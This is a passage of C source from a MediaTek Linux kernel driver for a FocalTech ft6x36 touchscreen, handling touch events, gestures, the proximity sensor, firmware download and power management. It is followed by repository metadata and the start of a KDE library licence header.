cinfo->p[0] = %d\n", cinfo->x[0], cinfo->y[0], cinfo->p[0]); //TPD_DEBUG(" cinfo->x[1] = %d, cinfo->y[1] = %d, cinfo->p[1] = %d\n", cinfo->x[1], cinfo->y[1], cinfo->p[1]); //TPD_DEBUG(" cinfo->x[2]= %d, cinfo->y[2]= %d, cinfo->p[2] = %d\n", cinfo->x[2], cinfo->y[2], cinfo->p[2]); return true; }; #ifdef TPD_PROXIMITY static int tpd_get_ps_value(void) { return tpd_proximity_detect; } static int tpd_enable_ps(int enable) { u8 state, state2; int ret = -1; i2c_smbus_read_i2c_block_data(i2c_client, 0xB0, 1, &state); printk("[proxi_5206]read: 999 0xb0's value is 0x%02X\n", state); if (enable){ state |= 0x01; tpd_proximity_flag = 1; TPD_PROXIMITY_DEBUG("[proxi_5206]ps function is on\n"); }else{ state &= 0x00; tpd_proximity_flag = 0; TPD_PROXIMITY_DEBUG("[proxi_5206]ps function is off\n"); } ret = i2c_smbus_write_i2c_block_data(i2c_client, 0xB0, 1, &state); TPD_PROXIMITY_DEBUG("[proxi_5206]write: 0xB0's value is 0x%02X\n", state); i2c_smbus_read_i2c_block_data(i2c_client, 0xB0, 1, &state2); if(state!=state2) { tpd_proximity_flag=0; printk("[proxi_5206]ps fail!!! state = 0x%x, state2 = 0x%X\n", state,state2); } return 0; } static int tpd_ps_operate(void* self, uint32_t command, void* buff_in, int size_in, void* buff_out, int size_out, int* actualout) { int err = 0; int value; hwm_sensor_data *sensor_data; TPD_DEBUG("[proxi_5206]command = 0x%02X\n", command); switch (command) { case SENSOR_DELAY: if((buff_in == NULL) || (size_in < sizeof(int))) { APS_ERR("Set delay parameter error!\n"); err = -EINVAL; } // Do nothing break; case SENSOR_ENABLE: if((buff_in == NULL) || (size_in < sizeof(int))) { APS_ERR("Enable sensor parameter error!\n"); err = -EINVAL; } else { value = *(int *)buff_in; if(value) { if((tpd_enable_ps(1) != 0)) { APS_ERR("enable ps fail: %d\n", err); return -1; } } else { if((tpd_enable_ps(0) != 0)) { APS_ERR("disable ps fail: %d\n", err); return -1; } } } break; case SENSOR_GET_DATA: if((buff_out == NULL) || (size_out< sizeof(hwm_sensor_data))) { APS_ERR("get sensor data parameter error!\n"); err = -EINVAL; } else { sensor_data = (hwm_sensor_data *)buff_out; sensor_data->values[0] = tpd_get_ps_value(); TPD_PROXIMITY_DEBUG("huang sensor_data->values[0] 1082 = %d\n", sensor_data->values[0]); sensor_data->value_divide = 1; sensor_data->status = SENSOR_STATUS_ACCURACY_MEDIUM; } break; default: APS_ERR("proxmy sensor operate function no this parameter %d!\n", command); err = -1; break; } return err; } #endif #ifdef FTS_GESTRUE static void check_gesture(int gesture_id) { printk("kaka gesture_id==0x%x\n ",gesture_id); switch(gesture_id) { case GESTURE_LEFT: break; case GESTURE_RIGHT: break; case GESTURE_UP: break; case GESTURE_DOWN: break; case GESTURE_DOUBLECLICK: input_report_key(tpd->dev, KEY_GESTURE_CC, 1); input_sync(tpd->dev); input_report_key(tpd->dev, KEY_GESTURE_CC, 0); input_sync(tpd->dev); break; case GESTURE_O: break; case GESTURE_W: input_report_key(tpd->dev, KEY_GESTURE_W, 1); input_sync(tpd->dev); input_report_key(tpd->dev, KEY_GESTURE_W, 0); input_sync(tpd->dev); break; case GESTURE_M: break; case GESTURE_E: input_report_key(tpd->dev, KEY_GESTURE_E, 1); input_sync(tpd->dev); input_report_key(tpd->dev, KEY_GESTURE_E, 0); input_sync(tpd->dev); break; case GESTURE_C: input_report_key(tpd->dev, KEY_GESTURE_C, 1); input_sync(tpd->dev); input_report_key(tpd->dev, KEY_GESTURE_C, 0); input_sync(tpd->dev); break; case GESTURE_L: break; case GESTURE_S: input_report_key(tpd->dev, KEY_GESTURE_S, 1); input_sync(tpd->dev); input_report_key(tpd->dev, KEY_GESTURE_S, 0); input_sync(tpd->dev); break; case GESTURE_V: input_report_key(tpd->dev, KEY_GESTURE_V, 1); input_sync(tpd->dev); input_report_key(tpd->dev, KEY_GESTURE_V, 0); input_sync(tpd->dev); break; case GESTURE_Z: input_report_key(tpd->dev, KEY_GESTURE_Z, 1); input_sync(tpd->dev); input_report_key(tpd->dev, KEY_GESTURE_Z, 0); input_sync(tpd->dev); break; default: break; } } static int ft5x0x_read_Touchdata(void) { unsigned char buf[FTS_GESTRUE_POINTS * 4] = { 0 }; int ret = -1; int i = 0; buf[0] = 0xd3; int gestrue_id = 0; short pointnum = 0; ret = fts_i2c_Read(i2c_client, buf, 1, buf, FTS_GESTRUE_POINTS_HEADER); if (ret < 0) { printk( "%s read touchdata failed.\n", __func__); return ret; } /* FW ?±?ó??3?ê?ê? */ // if (0x24 == buf[0] || 0x20 == buf[0] || 0x21 == buf[0] || 0x22 == buf[0] || 0x23 == buf[0]) if(buf[0]!=0xfe) { gestrue_id = buf[0]; check_gesture(gestrue_id); return -1; } pointnum = (short)(buf[1]) & 0xff; buf[0] = 0xd3; if((pointnum * 4 + 2+6)<255) { ret = fts_i2c_Read(i2c_client, buf, 1, buf, (pointnum * 4 + 2 + 6)); } else { ret = fts_i2c_Read(i2c_client, buf, 1, buf, 255); ret = fts_i2c_Read(i2c_client, buf, 0, buf+255, (pointnum * 4 + 2 +6)-255); } if (ret < 0) { printk( "%s read touchdata failed.\n", __func__); return ret; } // gestrue_id = fetch_object_sample(buf, pointnum); for(i = 0;i < pointnum;i++) { coordinate_x[i] = (((s16) buf[0 + (4 * i)]) & 0x0F) << 8 | (((s16) buf[1 + (4 * i)])& 0xFF); coordinate_y[i] = (((s16) buf[2 + (4 * i)]) & 0x0F) << 8 | (((s16) buf[3 + (4 * i)]) & 0xFF); } check_gesture(gestrue_id); return -1; } #endif static int touch_event_handler(void *unused) { struct touch_info cinfo, pinfo; int i=0; #ifdef CONFIG_ARCH_MT6580 int ret; #endif struct sched_param param = { .sched_priority = RTPM_PRIO_TPD }; sched_setscheduler(current, SCHED_RR, &param); #ifdef TPD_PROXIMITY int err; hwm_sensor_data sensor_data; u8 proximity_status; #endif u8 state; do { mt_eint_unmask(CUST_EINT_TOUCH_PANEL_NUM); set_current_state(TASK_INTERRUPTIBLE); // printk("wangcq327 --- waitting\n"); wait_event_interruptible(waiter,tpd_flag!=0); // printk("wangcq327 --- pass\n"); tpd_flag = 0; set_current_state(TASK_RUNNING); #ifdef FTS_GESTRUE i2c_smbus_read_i2c_block_data(i2c_client, 0xd0, 1, &state); // if((get_suspend_state() == PM_SUSPEND_MEM) && (state ==1)) if(state ==1) { ft5x0x_read_Touchdata(); continue; } #endif #ifdef TPD_PROXIMITY if (tpd_proximity_flag == 1) { i2c_smbus_read_i2c_block_data(i2c_client, 0xB0, 1, &state); TPD_PROXIMITY_DEBUG("proxi_5206 0xB0 state value is 1131 0x%02X\n", state); if(!(state&0x01)) { tpd_enable_ps(1); } i2c_smbus_read_i2c_block_data(i2c_client, 0x01, 1, &proximity_status); TPD_PROXIMITY_DEBUG("proxi_5206 0x01 value is 1139 0x%02X\n", proximity_status); if (proximity_status == 0xC0) { tpd_proximity_detect = 0; } else if(proximity_status == 0xE0) { tpd_proximity_detect = 1; } TPD_PROXIMITY_DEBUG("tpd_proximity_detect 1149 = %d\n", tpd_proximity_detect); if(tpd_proximity_detect != tpd_proximity_detect_prev) { tpd_proximity_detect_prev = tpd_proximity_detect; sensor_data.values[0] = tpd_get_ps_value(); sensor_data.value_divide = 1; sensor_data.status = SENSOR_STATUS_ACCURACY_MEDIUM; if ((err = hwmsen_get_interrupt_data(ID_PROXIMITY, &sensor_data))) { TPD_PROXIMITY_DMESG(" proxi_5206 call hwmsen_get_interrupt_data failed= %d\n", err); } } } #endif if (tpd_touchinfo(&cinfo, &pinfo)) { //TPD_DEBUG("point_num = %d\n",point_num); TPD_DEBUG_SET_TIME; if(point_num >0) { for(i =0; i<point_num; i++)//only support 3 point { tpd_down(cinfo.x[i], cinfo.y[i], cinfo.id[i]); } input_sync(tpd->dev); } else { tpd_up(cinfo.x[0], cinfo.y[0]); //TPD_DEBUG("release --->\n"); //input_mt_sync(tpd->dev); input_sync(tpd->dev); } } if(tpd_mode==12) { //power down for desence debug //power off, need confirm with SA #ifdef TPD_POWER_SOURCE_CUSTOM #ifdef CONFIG_ARCH_MT6580 ret = regulator_disable(tpd->reg); //disable regulator if(ret) { printk("focaltech __touch_event_handler()__ regulator_disable() failed!\n"); } #else hwPowerDown(TPD_POWER_SOURCE_CUSTOM, "TP"); #endif #else hwPowerDown(MT65XX_POWER_LDO_VGP2, "TP"); #endif #ifdef TPD_POWER_SOURCE_1800 hwPowerDown(TPD_POWER_SOURCE_1800, "TP"); #endif msleep(20); } }while(!kthread_should_stop()); return 0; } static int tpd_detect (struct i2c_client *client, struct i2c_board_info *info) { strcpy(info->type, TPD_DEVICE); return 0; } static void tpd_eint_interrupt_handler(void) { //TPD_DEBUG("TPD interrupt has been triggered\n"); TPD_DEBUG_PRINT_INT; tpd_flag = 1; wake_up_interruptible(&waiter); } void focaltech_get_upgrade_array(void) { u8 chip_id; u32 i; i2c_smbus_read_i2c_block_data(i2c_client,FT_REG_CHIP_ID,1,&chip_id); DBG("%s chip_id = %x\n", __func__, chip_id); //chip_id = 0x36; for(i=0;i<sizeof(fts_updateinfo)/sizeof(struct Upgrade_Info);i++) { if(chip_id==fts_updateinfo[i].CHIP_ID) { memcpy(&fts_updateinfo_curr, &fts_updateinfo[i], sizeof(struct Upgrade_Info)); break; } } if(i >= sizeof(fts_updateinfo)/sizeof(struct Upgrade_Info)) { memcpy(&fts_updateinfo_curr, &fts_updateinfo[0], sizeof(struct Upgrade_Info)); } } #ifdef FT6x36_DOWNLOAD int ft5x0x_download_i2c_Read(unsigned char *writebuf, int writelen, unsigned char *readbuf, int readlen) { int ret; ret=fts_i2c_Read(g_i2c_client, writebuf,writelen,readbuf,readlen); return ret; } /*write data by i2c*/ int ft5x0x_download_i2c_Write(unsigned char *writebuf, int writelen) { int ret; ret=fts_i2c_Write(g_i2c_client, writebuf,writelen); return ret; } int ft6x36_Enter_Debug(void) { //ft5x0x_reset_tp(0); //msleep(4); //ft5x0x_reset_tp(1); mt_set_gpio_mode(GPIO_CTP_RST_PIN, GPIO_CTP_RST_PIN_M_GPIO); mt_set_gpio_dir(GPIO_CTP_RST_PIN, GPIO_DIR_OUT); mt_set_gpio_out(GPIO_CTP_RST_PIN, GPIO_OUT_ZERO); msleep(2); // mt_set_gpio_mode(GPIO_CTP_RST_PIN, GPIO_CTP_RST_PIN_M_GPIO); // mt_set_gpio_dir(GPIO_CTP_RST_PIN, GPIO_DIR_OUT); mt_set_gpio_out(GPIO_CTP_RST_PIN, GPIO_OUT_ONE); DBG("ft6x36_Enter_Debug\n"); return ft6x36_Lib_Enter_Download_Mode(); } //if return 0, main flash is ok, else download. int ft6x36_IsDownloadMain(void) { //add condition to check main flash return -1; } int ft6x36_DownloadMain(void) { unsigned short fwlen = 0; DBG("ft6x36_DownloadMain 1"); if (ft6x36_Enter_Debug() < 0) { DBG("-----enter debug mode failed\n"); return -1; } DBG("ft6x36_DownloadMain 2"); if(1 == TP_VOL){ fwlen = sizeof(CTPM_MAIN_FW1); DBG("wangcq327 ---1 ----fwlen=%d\n", fwlen); //return ft6x06_Lib_DownloadMain(CTPM_MAIN_FW, fwlen); return ft6x36_Lib_DownloadMain(CTPM_MAIN_FW1,fwlen); }else if(0 == TP_VOL){ fwlen = sizeof(CTPM_MAIN_FW2); DBG("wangcq327 ---2 ----fwlen=%d\n", fwlen); //return ft6x06_Lib_DownloadMain(CTPM_MAIN_FW, fwlen); return ft6x36_Lib_DownloadMain(CTPM_MAIN_FW2,fwlen); } return -1; } //wangcq327 --- add start int Check_TP_ID(void) { int data[4] = {0}; int res = 0; int rawdata = 0; int tp_vol = 0; #define AUXADC_TP_VOLTAGE_CHANNEL 0 #ifdef AUXADC_TP_VOLTAGE_CHANNEL extern int IMM_GetOneChannelValue(int,int,int*); res = IMM_GetOneChannelValue(AUXADC_TP_VOLTAGE_CHANNEL,data,&rawdata); if(res < 0) { #ifdef BUILD_LK printf("[adc_uboot]: get data error\n"); #endif return 0; } #endif tp_vol = data[0]*1000+data[1]*10; printk("wangcq327 --- data[0]:%d data[1]:%d tp_vol:%d\n",data[0],data[1],tp_vol); if(tp_vol >1200 && tp_vol < 2400){ return TP_VOL = 1; } else if(tp_vol < 1000 && tp_vol > 700){ return TP_VOL = 0; } else{ return TP_VOL = -1; } } //wangcq327 --- add end int fts_ctpm_auto_download(struct i2c_client *client) { u8 uc_host_fm_ver = FT_REG_FW_VER; u8 uc_tp_fm_ver; u8 uc_host_vendor_id = FT_REG_VENDOR_ID; u8 uc_tp_vendor_id=0; int i_ret; // fts_read_reg(client, FT_REG_VENDOR_ID, &uc_tp_vendor_id); //uc_host_vendor_id = fts_ctpm_get_i_file_vendor(); // if(uc_tp_vendor_id!=uc_host_vendor_id)return 0; //wangcq327 --- add start fts_read_reg(client, FT_REG_VENDOR_ID,&uc_tp_vendor_id); printk("wangcq327 --- uc_tp_vendor_id == %d\n",uc_tp_vendor_id); printk("wangcq327 --- ID_pin_vol == %d \n",Check_TP_ID()); if(1 == TP_VOL){//通豪 if(uc_tp_vendor_id == 0xd1) {//通豪 fts_read_reg(client, FT_REG_FW_VER, &uc_tp_fm_ver); uc_host_fm_ver =CTPM_MAIN_FW1[0x90a];// fts_ctpm_get_i_file_ver(); if(uc_tp_fm_ver >= uc_host_fm_ver) return -1; }//else if(uc_tp_vendor_id != 0x49) {//若不为通豪,且不为汉创,退出,若为汉创,往下升级 // return -1; // }; }else if(0 == TP_VOL){//汉创 if(uc_tp_vendor_id == 0x49) {//汉创 fts_read_reg(client, FT_REG_FW_VER, &uc_tp_fm_ver); uc_host_fm_ver =CTPM_MAIN_FW2[0x90a];// fts_ctpm_get_i_file_ver(); if(uc_tp_fm_ver >= uc_host_fm_ver) return -1; }//else if(uc_tp_vendor_id != 0xd1){ // return -1; //}; }else{ printk("wangcq327 --- ID_pin_vol error!!! \n"); return -1; } //wangcq327 --- add end DBG("wangcq327 --- [FTS] uc_tp_fm_ver = 0x%x, uc_host_fm_ver = 0x%x\n",uc_tp_fm_ver, uc_host_fm_ver); #if 0 if (/*the firmware in touch panel maybe corrupted */ uc_tp_fm_ver == FT_REG_FW_VER || /*the firmware in host flash is new, need upgrade */ uc_tp_fm_ver < uc_host_fm_ver || ) #endif { g_i2c_client = client; FTS_I2c_Read_Function fun_i2c_read = ft5x0x_download_i2c_Read; FTS_I2c_Write_Function fun_i2c_write = ft5x0x_download_i2c_Write; Init_I2C_Read_Func(fun_i2c_read); Init_I2C_Write_Func(fun_i2c_write); if(ft6x36_IsDownloadMain() < 0) { #if 1 DBG("--------FTS---------download main\n"); if(ft6x36_DownloadMain()<0) { DBG("---------FTS---------Download main failed\n"); } #endif } else DBG("--------FTS---------no download main\n"); } return 0; } #endif static int tpd_probe(struct i2c_client *client, const struct i2c_device_id *id) { int retval = TPD_OK; char data; u8 report_rate=0; int err=0; int reset_count = 0; u8 chip_id,i; #ifdef CONFIG_ARCH_MT6580 int ret = 0; #endif i2c_client = client; #ifdef FTS_SCAP_TEST g_focalclient = client; #endif //power on, need confirm with SA mt_set_gpio_mode(GPIO_CTP_RST_PIN, GPIO_CTP_RST_PIN_M_GPIO); mt_set_gpio_dir(GPIO_CTP_RST_PIN, GPIO_DIR_OUT); mt_set_gpio_out(GPIO_CTP_RST_PIN, GPIO_OUT_ZERO); msleep(5); DBG(" fts ic reset\n"); // DBG("wangcq327 --- %d\n",TPD_POWER_SOURCE_CUSTOM); #ifdef TPD_POWER_SOURCE_CUSTOM #ifdef CONFIG_ARCH_MT6580 tpd->reg = regulator_get(tpd->tpd_dev,TPD_POWER_SOURCE_CUSTOM); // get pointer to regulator structure if (IS_ERR(tpd->reg)) { printk("focaltech tpd_probe regulator_get() failed!!!\n"); } ret = regulator_set_voltage(tpd->reg, 2800000, 2800000); // set 2.8v if(ret) { printk("focaltech tpd_probe regulator_set_voltage() failed!\n"); } ret = regulator_enable(tpd->reg); //enable regulator if (ret) { printk("focaltech tpd_probe regulator_enable() failed!\n"); } #else hwPowerOn(TPD_POWER_SOURCE_CUSTOM, VOL_2800, "TP"); #endif #else hwPowerOn(MT65XX_POWER_LDO_VGP2, VOL_2800, "TP"); #endif #if 0 //def TPD_POWER_SOURCE_1800 hwPowerOn(TPD_POWER_SOURCE_1800, VOL_1800, "TP"); #endif msleep(3); mt_set_gpio_mode(GPIO_CTP_RST_PIN, GPIO_CTP_RST_PIN_M_GPIO); mt_set_gpio_dir(GPIO_CTP_RST_PIN, GPIO_DIR_OUT); mt_set_gpio_out(GPIO_CTP_RST_PIN, GPIO_OUT_ONE); msleep(5); reset_proc: #ifdef TPD_CLOSE_POWER_IN_SLEEP hwPowerDown(TPD_POWER_SOURCE,"TP"); hwPowerOn(TPD_POWER_SOURCE,VOL_3300,"TP"); msleep(100); #else mt_set_gpio_mode(GPIO_CTP_RST_PIN, GPIO_CTP_RST_PIN_M_GPIO); mt_set_gpio_dir(GPIO_CTP_RST_PIN, GPIO_DIR_OUT); mt_set_gpio_out(GPIO_CTP_RST_PIN, GPIO_OUT_ZERO); msleep(5); DBG(" fts ic reset\n"); mt_set_gpio_mode(GPIO_CTP_RST_PIN, GPIO_CTP_RST_PIN_M_GPIO); mt_set_gpio_dir(GPIO_CTP_RST_PIN, GPIO_DIR_OUT); mt_set_gpio_out(GPIO_CTP_RST_PIN, GPIO_OUT_ONE); msleep(200); #endif //if((i2c_smbus_read_i2c_block_data(i2c_client, 0x00, 1, &data))< 0) /////////////////////////////////////////////// err = i2c_smbus_read_i2c_block_data(i2c_client, 0x00, 1, &data); DBG("gao_i2c:err %d,data:%d\n", err,data); if(err< 0 || data!=0)// reg0 data running state is 0; other state is not 0 { DBG("I2C transfer error, line: %d\n", __LINE__); #ifdef TPD_RESET_ISSUE_WORKAROUND if ( ++reset_count < TPD_MAX_RESET_COUNT ) { goto reset_proc; } #endif #ifdef TPD_POWER_SOURCE_CUSTOM #ifdef CONFIG_ARCH_MT6580 ret = regulator_disable(tpd->reg); //disable regulator if(ret) { printk("focaltech tpd_probe regulator_disable() failed!\n"); } regulator_put(tpd->reg); #else hwPowerDown(TPD_POWER_SOURCE_CUSTOM, "TP"); #endif #else hwPowerDown(MT65XX_POWER_LDO_VGP2, "TP"); #endif return -1; } msleep(200); mt_set_gpio_mode(GPIO_CTP_EINT_PIN, GPIO_CTP_EINT_PIN_M_EINT); mt_set_gpio_dir(GPIO_CTP_EINT_PIN, GPIO_DIR_IN); mt_set_gpio_pull_enable(GPIO_CTP_EINT_PIN, GPIO_PULL_ENABLE); mt_set_gpio_pull_select(GPIO_CTP_EINT_PIN, GPIO_PULL_UP); //mt_eint_set_sens(CUST_EINT_TOUCH_PANEL_NUM, CUST_EINT_TOUCH_PANEL_SENSITIVE); //mt_eint_set_hw_debounce(CUST_EINT_TOUCH_PANEL_NUM, CUST_EINT_TOUCH_PANEL_DEBOUNCE_CN); //mt_eint_registration(CUST_EINT_TOUCH_PANEL_NUM, CUST_EINT_TOUCH_PANEL_TYPE, tpd_eint_interrupt_handler, 1); mt_eint_registration(CUST_EINT_TOUCH_PANEL_NUM, EINTF_TRIGGER_FALLING, tpd_eint_interrupt_handler, 1); mt_eint_unmask(CUST_EINT_TOUCH_PANEL_NUM); tpd_load_status = 1; // tpd_mstar_status =0 ; // compatible mstar and ft6306 chenzhecong #ifdef FTS_APK_DEBUG ft5x0x_create_apk_debug_channel(client); #endif #ifdef TPD_SYSFS_DEBUG fts_create_sysfs(i2c_client); #endif #ifdef FTS_CTL_IIC if (ft_rw_iic_drv_init(i2c_client) < 0) DBG("%s:[FTS] create fts control iic driver failed\n",__func__); #endif #ifdef FTS_GESTRUE //init_para(480,854,60,0,0); modify by taoxiaodong input_set_capability(tpd->dev, EV_KEY, KEY_POWER); input_set_capability(tpd->dev, EV_KEY, KEY_GESTURE_CC); //input_set_capability(tpd->dev, EV_KEY, KEY_GESTURE_UP); //input_set_capability(tpd->dev, EV_KEY, KEY_GESTURE_DOWN); //input_set_capability(tpd->dev, EV_KEY, KEY_GESTURE_LEFT); //input_set_capability(tpd->dev, EV_KEY, KEY_GESTURE_RIGHT); //input_set_capability(tpd->dev, EV_KEY, KEY_GESTURE_O); //input_set_capability(tpd->dev, EV_KEY, KEY_GESTURE_M); //input_set_capability(tpd->dev, EV_KEY, KEY_GESTURE_L); input_set_capability(tpd->dev, EV_KEY, KEY_GESTURE_E); input_set_capability(tpd->dev, EV_KEY, KEY_GESTURE_C); input_set_capability(tpd->dev, EV_KEY, KEY_GESTURE_W); input_set_capability(tpd->dev, EV_KEY, KEY_GESTURE_S); input_set_capability(tpd->dev, EV_KEY, KEY_GESTURE_V); input_set_capability(tpd->dev, EV_KEY, KEY_GESTURE_Z); //__set_bit(KEY_GESTURE_RIGHT, tpd->dev->keybit); //__set_bit(KEY_GESTURE_LEFT, tpd->dev->keybit); //__set_bit(KEY_GESTURE_UP, tpd->dev->keybit); //__set_bit(KEY_GESTURE_DOWN, tpd->dev->keybit); //__set_bit(KEY_GESTURE_O, tpd->dev->keybit); //__set_bit(KEY_GESTURE_M, tpd->dev->keybit); //__set_bit(KEY_GESTURE_L, tpd->dev->keybit); __set_bit(KEY_GESTURE_CC, tpd->dev->keybit); __set_bit(KEY_GESTURE_E, tpd->dev->keybit); __set_bit(KEY_GESTURE_C, tpd->dev->keybit); __set_bit(KEY_GESTURE_W, tpd->dev->keybit); __set_bit(KEY_GESTURE_S, tpd->dev->keybit); __set_bit(KEY_GESTURE_V, tpd->dev->keybit); __set_bit(KEY_GESTURE_Z, tpd->dev->keybit); #endif #ifdef VELOCITY_CUSTOM_FT5206 if((err = misc_register(&tpd_misc_device))) { printk("mtk_tpd: tpd_misc_device register failed\n"); } #endif #ifdef TPD_AUTO_UPGRADE printk("********************Enter CTP Auto Upgrade********************\n"); fts_ctpm_auto_upgrade(i2c_client); #endif #ifdef FT6x36_DOWNLOAD fts_ctpm_auto_download(i2c_client); #endif msleep(50); focaltech_get_upgrade_array(); thread = kthread_run(touch_event_handler, 0, TPD_DEVICE); if (IS_ERR(thread)) { retval = PTR_ERR(thread); DBG(" failed to create kernel thread: %d\n", retval); } DBG("FTS Touch Panel Device Probe %s\n", (retval < TPD_OK) ? "FAIL" : "PASS"); #ifdef TPD_PROXIMITY struct hwmsen_object obj_ps; obj_ps.polling = 0;//interrupt mode obj_ps.sensor_operate = tpd_ps_operate; if((err = hwmsen_attach(ID_PROXIMITY, &obj_ps))) { DBG("proxi_fts attach fail = %d\n", err); } else { DBG("proxi_fts attach ok = %d\n", err); } #endif return 0; } static int tpd_remove(struct i2c_client *client) { #ifdef FTS_APK_DEBUG ft5x0x_release_apk_debug_channel(); #endif #ifdef TPD_SYSFS_DEBUG fts_release_sysfs(client); #endif #ifdef FTS_CTL_IIC ft_rw_iic_drv_exit(); #endif #ifdef TPD_POWER_SOURCE_CUSTOM #ifdef CONFIG_ARCH_MT6580 regulator_disable(tpd->reg); //disable regulator regulator_put(tpd->reg); #endif #endif TPD_DEBUG("TPD removed\n"); return 0; } static int tpd_local_init(void) { DBG("FTS I2C Touchscreen Driver (Built %s @ %s)\n", __DATE__, __TIME__); if(i2c_add_driver(&tpd_i2c_driver)!=0) { DBG("FTS unable to add i2c driver.\n"); return -1; } if(tpd_load_status == 0) { DBG("FTS add error touch panel driver.\n"); i2c_del_driver(&tpd_i2c_driver); return -1; } #ifdef TPD_HAVE_BUTTON //if(TPD_RES_Y > 854) { tpd_button_setting(TPD_KEY_COUNT, tpd_keys_local, tpd_keys_dim_local);// initialize tpd button data } //else { //tpd_button_setting(TPD_KEY_COUNT, tpd_keys_local, tpd_keys_dim_local_fwvga);// initialize tpd button data } #endif #if (defined(TPD_WARP_START) && defined(TPD_WARP_END)) TPD_DO_WARP = 1; memcpy(tpd_wb_start, tpd_wb_start_local, TPD_WARP_CNT*4); memcpy(tpd_wb_end, tpd_wb_start_local, TPD_WARP_CNT*4); #endif #if (defined(TPD_HAVE_CALIBRATION) && !defined(TPD_CUSTOM_CALIBRATION)) memcpy(tpd_calmat, tpd_def_calmat_local, 8*4); memcpy(tpd_def_calmat, tpd_def_calmat_local, 8*4); #endif DBG("end %s, %d\n", __FUNCTION__, __LINE__); tpd_type_cap = 1; return 0; } static void tpd_resume( struct early_suspend *h ) { //int retval = TPD_OK; //char data; #ifdef TPD_PROXIMITY if (tpd_proximity_suspend == 0) { return; } else { tpd_proximity_suspend = 0; } #endif DBG("TPD wake up\n"); #ifdef FTS_GESTRUE if(1 == tpd_get_gesture_state()) { fts_write_reg(i2c_client,0xD0,0x00); mt_set_gpio_mode(GPIO_CTP_RST_PIN, GPIO_CTP_RST_PIN_M_GPIO); mt_set_gpio_dir(GPIO_CTP_RST_PIN, GPIO_DIR_OUT); mt_set_gpio_out(GPIO_CTP_RST_PIN, GPIO_OUT_ZERO); msleep(5); mt_set_gpio_out(GPIO_CTP_RST_PIN, GPIO_OUT_ONE); msleep(200); tpd_halt = 0; return; } else #endif { #ifdef TPD_CLOSE_POWER_IN_SLEEP hwPowerOn(TPD_POWER_SOURCE,VOL_3300,"TP"); #else mt_set_gpio_mode(GPIO_CTP_RST_PIN, GPIO_CTP_RST_PIN_M_GPIO); mt_set_gpio_dir(GPIO_CTP_RST_PIN, GPIO_DIR_OUT); mt_set_gpio_out(GPIO_CTP_RST_PIN, GPIO_OUT_ZERO); msleep(2); mt_set_gpio_out(GPIO_CTP_RST_PIN, GPIO_OUT_ONE); #endif mt_eint_unmask(CUST_EINT_TOUCH_PANEL_NUM); msleep(200); tpd_halt = 0; /* for resume debug if((i2c_smbus_read_i2c_block_data(i2c_client, 0x00, 1, &data))< 0) { TPD_DMESG("resume I2C transfer error, line: %d\n", __LINE__); } */ tpd_up(0,0); input_sync(tpd->dev); DBG("TPD wake up done\n"); } //return retval; } static void tpd_suspend( struct early_suspend *h ) { // int retval = TPD_OK; static char data = 0x3; #if 0 #ifdef FTS_GESTRUE //wangcq327 add start struct filp * fp=NULL; mm_segment_t fs; loff_t pos = 0; char buf[200]={0}; char *p=NULL; fp = filp_open(GESTURE_SWITCH_FILE ,O_RDONLY , 0); if(IS_ERR(fp)){ printk("wangcq327 --- touchpanle Open file fail !!\n"); TP_gesture_Switch = true; }else{ //read start fs = get_fs();//get old fs; set_fs(KERNEL_DS); vfs_read(fp,buf,sizeof(buf),&pos); printk("wangcq327 --- read == %s\n",buf); //read end p = strstr(buf,"value=");//value="1" p += 7; // printk("wangcq327 --- *p == %c\n",*p); if(*p == '1'){ TP_gesture_Switch = true; }else{ TP_gesture_Switch = false; } printk("wangcq327 --- TP_gesture_Switch == %d\n",(TP_gesture_Switch==true)?1:0); filp_close(fp,NULL); set_fs(fs); } //wangcq327 add end #endif #endif #ifdef TPD_PROXIMITY if (tpd_proximity_flag == 1) { tpd_proximity_suspend = 0; return; } else { tpd_proximity_suspend = 1; } #endif #ifdef FTS_GESTRUE if((1 == tpd_get_gesture_state())&&(g_call_state != CALL_ACTIVE)) { fts_write_reg(i2c_client, 0xd0, 0x01); if (fts_updateinfo_curr.CHIP_ID==0x54) { fts_write_reg(i2c_client, 0xd1, 0xff); fts_write_reg(i2c_client, 0xd2, 0xff); fts_write_reg(i2c_client, 0xd5, 0xff); fts_write_reg(i2c_client, 0xd6, 0xff); fts_write_reg(i2c_client, 0xd7, 0xff); fts_write_reg(i2c_client, 0xd8, 0xff); } tpd_halt = 1; DBG("TPD enter Gesture_mode\n"); return; } else #endif { tpd_halt = 1; DBG("TPD enter sleep\n"); mt_eint_mask(CUST_EINT_TOUCH_PANEL_NUM); #ifdef TPD_CLOSE_POWER_IN_SLEEP hwPowerDown(TPD_POWER_SOURCE,"TP"); #else mutex_lock(&i2c_access); fts_write_reg(i2c_client, 0xA5, 0x03); //i2c_smbus_write_i2c_block_data(i2c_client, 0xA5, 3, &data); //TP enter sleep mode mutex_unlock(&i2c_access); msleep(10); //modify by taoxiaodong #endif DBG("TPD enter sleep done\n"); } //return retval; } static struct tpd_driver_t tpd_device_driver = { .tpd_device_name = TPD_NAME, .tpd_local_init = tpd_local_init, .suspend = tpd_suspend, .resume = tpd_resume, #ifdef TPD_HAVE_BUTTON .tpd_have_button = 1, #else .tpd_have_button = 0, #endif }; /* called when loaded into kernel */ static int __init tpd_driver_init(void) { printk("MediaTek FTS touch panel driver init\n"); i2c_register_board_info(IIC_PORT, &ft5206_i2c_tpd, 1); // i2c_register_board_info(0, &ft5206_i2c_tpd, 1); if(tpd_driver_add(&tpd_device_driver) < 0) TPD_DMESG("add FTS driver failed\n"); return 0; } /* should never be called */ static void __exit tpd_driver_exit(void) { TPD_DMESG("MediaTek FTS touch panel driver exit\n"); //input_unregister_device(tpd->dev); tpd_driver_remove(&tpd_device_driver); } module_init(tpd_driver_init); module_exit(tpd_driver_exit);
nik124seleznev/ZC500TG
drivers/input/touchscreen/mediatek/ft6x36_zaw806/focaltech_driver.c
C
gpl-2.0
41,196
/* This file is part of the KDE project Made by Tomislav Lukman (tomislav.lukman@ck.t-com.hr) Copyright (c) 2005 Tomislav Lukman <tomislav.lukman@ck.t-com.hr> Copyright (C) 2006 Tim Beaulen <tbscope@gmail.com> Copyright (c) 2008 Jan Hambrecht <jaham@gmx.net> This library is free software; you can redistribute it and/or modify it under the terms of the GNU Library General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Library General Public License for more details. You should have received a copy of the GNU Library General Public License along with this library; see the file COPYING.LIB. If not, write to 